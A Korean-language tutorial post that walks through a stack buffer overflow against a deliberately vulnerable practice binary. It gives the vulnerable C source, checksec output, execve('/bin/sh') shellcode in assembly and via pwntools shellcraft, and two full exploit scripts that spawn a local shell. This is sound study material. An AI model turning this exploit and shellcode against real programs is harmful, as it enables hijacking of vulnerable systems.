[Pwnable] Buffer Overflow

Last edited at 2025-09-28
2 Views

기본적인 포너블 공격 기법인 Buffer Overflow(BOF)를 하는 방법을 정리해 보았다.

(Kali Linux 환경에서 진행함.)



Vulnerable Program


r2s.c

int main(int argc, const char **argv, const char **envp)
{
  char buf[80];

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n", 80);
  puts("Overwrite the return address");
  printf("Input: ");

  fflush(stdout);
  read(0, buf, 0x500u);

  return 0;
}


위 C 코드에선 입력 buffer의 크기가 80인데, 그보다 긴 입력값을 넣을 수 있다.

BOF로 main의 스택 메모리를 침범할 수 있는 취약한 코드에 해당한다.


구체적으로, 80바이트보다 긴 입력이 주어지게 되면 main 함수의 stack frame에서 지역변수 char buf[80] 위에 있는 old rbp 값과 return address이 차례대로 덮어쓰이게 된다. 따라서, payload의 87번 바이트부터 8개 바이트를 원하는 프로그램이 있는 메모리 주소로 설정해 입력하면 (물론 endian을 고려해야 한다.) 코드의 흐름을 탈취할 수 있다.


공격을 하기 전, checksec을 이용해 공격하고자 하는 바이너리의 보안 설정들을 확인해 보면, Stack이 Executable로 설정되어 있다. BOF를 이용해 스택 영역에 shellcode를 삽입하고 IP를 그곳으로 옮기면 시스템이 실행해줄 수 있다는 의미이다.

$ checksec r2s
[*] '/home/user/guardian2025/r2s'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        PIE enabled
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No


따라서, payload를 다음과 같이 설계해볼 수 있다.

payload = b''
payload += b'A' * dist  # buf[80] 채우기
payload += b'A' * 8     # BoF 시작, old rbp를 overwrite
payload += p64(buf+dist+0x10)  # return address를 내가 작성한 shellscript가 있는 곳으로 overwrite
payload += shellcode    # shell을 실행시켜 줄 shellcode


우리가 스택 영역에 집어넣을 shellcode는 system call의 하나인 execve를 날려 시스템이 '/bin/sh'를 실행하게 하는 역할을 할 것이다.


shellcode를 만드는 방법으로는 (1) x86 assembly를 이용해 직접 코딩한 후 어셈블하는 방법과 (2) pwntools의 shellcraft 기능을 이용하는 방법이 있다.


(1) x86 Assembly 직접 코딩하기


sol.asm

section .text
global _start

_start:
    mov rax, 0x0068732f6e69622f ; // '/bin/sh' in little-endian
    push rax
    mov rdi, rsp
    mov rsi, 0
    mov rdx, 0
    mov rax, 0x3b               ; // syscall: execve
    syscall


위와 같이 어셈블리 코드를 작성했으니, nasm을 이용해 어셈블한 후 코드를 binary 파일로 저장한다.


$ nasm -f elf64 sol.asm -o sol.o
$ objcopy --dump-section .text=sol.bin sol.o


이후 파이썬 코드로 불러와서, payload에 실어주면 된다. 전체 exploit 코드는 다음과 같다.


solution1.py

from pwn import *

context.arch = "amd64"

p = process(b'./r2s')

# 현재 buffer address 받아오기
p.recvuntil(b'buf: 0x')
buf = int(p.recvline(keepends=False), 16)
# 현재 스택에서 rbp까지의 거리 받아오기
p.recvuntil(b'$rbp:')
dist =  int(p.recvline(keepends=False))

# shellcode를 포함한 payload 작성
with open('sol.bin', 'rb') as f:
    shellcode = f.read()
payload = b''
payload += b'A' * dist
payload += b'A' * 8
payload += p64(buf+dist+0x10)
payload += shellcode

# payload 보내기
p.sendafter(b"Input:", payload)

p.interactive()
print(p.recvall())


이 코드를 돌려 보면, /bin/sh가 실행되어 shell을 얻은 것을 확인할 수 있다.


$ python -u "/home/user/guardian2025/solution1.py"
[+] Starting local process './r2s': pid 18621
[*] Switching to interactive mode
 $



(2) Shellcraft 이용하기


위와 같이 일일이 별개의 .asm 파일을 작성, 어셈블해 불러오지 않고도, shellcraft를 이용하면 간편하게 shellcode를 만들 수 있다.

이 경우 exploit 코드는 다음과 같다.


solution2.py

from pwn import *

context.arch = "amd64"

p = process(b'./r2s')

# 현재 buffer address 받아오기
p.recvuntil(b'buf: 0x')
buf = int(p.recvline(keepends=False), 16)
# 현재 스택에서 rbp까지의 거리 받아오기
p.recvuntil(b'$rbp:')
dist =  int(p.recvline(keepends=False))

# shellcode를 포함한 payload 작성
shellcode = asm(shellcraft.pushstr(b'/bin/sh') +
    '''
        mov rdi, rsp
        mov rsi, 0
        mov rdx, 0
        mov rax, 0x3b
        syscall    
    ''')
payload = b''
payload += b'A' * dist
payload += b'A' * 8
payload += p64(buf+dist+0x10)
payload += shellcode

# payload 보내기
p.sendafter(b"Input:", payload)

p.interactive()
print(p.recvall())


마찬가지로 실행 시 shell을 얻은 것을 확인할 수 있다.


$ python -u "/home/user/guardian2025/solution2.py"
[+] Starting local process './r2s': pid 18621
[*] Switching to interactive mode
 $